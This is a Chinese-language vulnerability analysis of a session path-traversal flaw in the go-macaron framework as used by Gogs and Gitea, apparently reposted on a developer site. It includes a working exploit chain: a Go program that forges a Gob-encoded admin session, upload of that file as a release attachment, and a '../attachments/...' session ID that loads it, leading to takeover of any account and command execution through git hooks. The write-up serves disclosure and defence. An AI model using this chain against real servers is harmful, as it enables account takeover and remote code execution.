内容简介:由于两个代码管理平台均使用了go-macaron作为web框架, 而go-macaron中的session插件并没有对sessionid进行过滤, 从而导致了可以使用任意文件作为session的bug, 登陆其他任意账号.P.S. 其实这个影响范围可以扩展到使用了go-macaron框架, 且存在文件上传的任何一个web应用中.攻击者可登陆任意账号包括管理员账号,同时可利用git hooks执行任意命令,同时存在严重的越权和命令执行问题。
漏洞成因
由于两个代码管理平台均使用了go-macaron作为web框架, 而go-macaron中的session插件并没有对sessionid进行过滤, 从而导致了可以使用任意文件作为session的bug, 登陆其他任意账号.
P.S. 其实这个影响范围可以扩展到使用了go-macaron框架, 且存在文件上传的任何一个web应用中.
影响
攻击者可登陆任意账号包括管理员账号,同时可利用git hooks执行任意命令,同时存在严重的越权和命令执行问题。
分析
在gogs及gitea中均使用了go-macaron作为web框架, 也都使用了其中的session插件, 但是在go-macaron的session插件中, 并没有对cookie中传入的session ID做任何的过滤.
在gogs及gitea的默认配置中, 均使用了文件用于保存session, 而没有过滤 ../ , ./ 等关键词给我们一个将任意文件作为session文件的机会.
// Read returns raw session store by session ID.
func (m *Manager) Read(sid string) (RawStore, error) {
return m.provider.Read(sid)
}
func (p *FileProvider) filepath(sid string) string {
return path.Join(p.rootPath, string(sid[0]), string(sid[1]), sid)
}
func (p *FileProvider) Read(sid string) (_ RawStore, err error) {
filename := p.filepath(sid)
if err = os.MkdirAll(path.Dir(filename), 0700); err != nil {
return nil, err
}
p.lock.RLock()
defer p.lock.RUnlock()
var f *os.File
if com.IsFile(filename) {
f, err = os.OpenFile(filename, os.O_RDONLY, 0600)
} else {
f, err = os.Create(filename)
}
if err != nil {
return nil, err
}
defer f.Close()
if err = os.Chtimes(filename, time.Now(), time.Now()); err != nil {
return nil, err
}
var kv map[interface{}]interface{}
data, err := ioutil.ReadAll(f)
if err != nil {
return nil, err
}
if len(data) == 0 {
kv = make(map[interface{}]interface{})
} else {
kv, err = DecodeGob(data)
if err != nil {
return nil, err
}
}
return NewFileStore(p, sid, kv), nil
}
这里, 我们以gogs为例, 进行一次测试.
首先, 对于每个用户, 我们都可以创建仓库, 通过release功能可以上传任意内容可控的文件, 从而为我们伪造session文件提供了条件.
通过explore功能, 我们能找到很多用户的仓库, 进入某用户的用户资料页面, 我们可以得到构造该用户session的所有需要的资料(uid, username).
通过上方file.go的代码, 我们发现, session文件的内容为Gob编码方式, 这里借鉴一下P神写的生成session的代码
package main
import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
"os"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "sockls"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("test.png", data, os.O_CREATE|os.O_WRONLY)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
由此, 我们可以生成一段session, 通过每个用户均可使用的release上传功能, 我们将我们伪造的session上传至服务器.
对于默认配置的gogs,
release中文件存放的目录结构是, attachments/fid[0]/fid[1]/fid .
session存放的目录结构是, sessions/sid[0]/sid[1]/sid .
此外sessions与attachments文件夹均存放在相同的data文件夹下.
由于gogs会将session分段, 构造成最终的路径后再进行读取, 而attachments与session在同一文件夹下, 修改session为我们刚刚上传的文件的路径, 即 ../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b , 读取session的函数将路径解析为 sessions/././../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b 也就是我们上传的那个文件, 从而完成了任意用户登陆.
通过仓库的git hook也可以完成命令执行.
此外如果我们通过explore中找到的用户刚好为管理员用户, 则可以使用管理员面板.
修复方式
更新至最新版.
参考资料
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Mobilizing Web Sites
Layon, Kristofer / 2011-12 / 266.00元
Everyone has been talking about the mobile web in recent years, and more of us are browsing the web on smartphones and similar devices than ever before. But most of what we are viewing has not yet bee......一起来看看 《Mobilizing Web Sites》 这本书的介绍吧!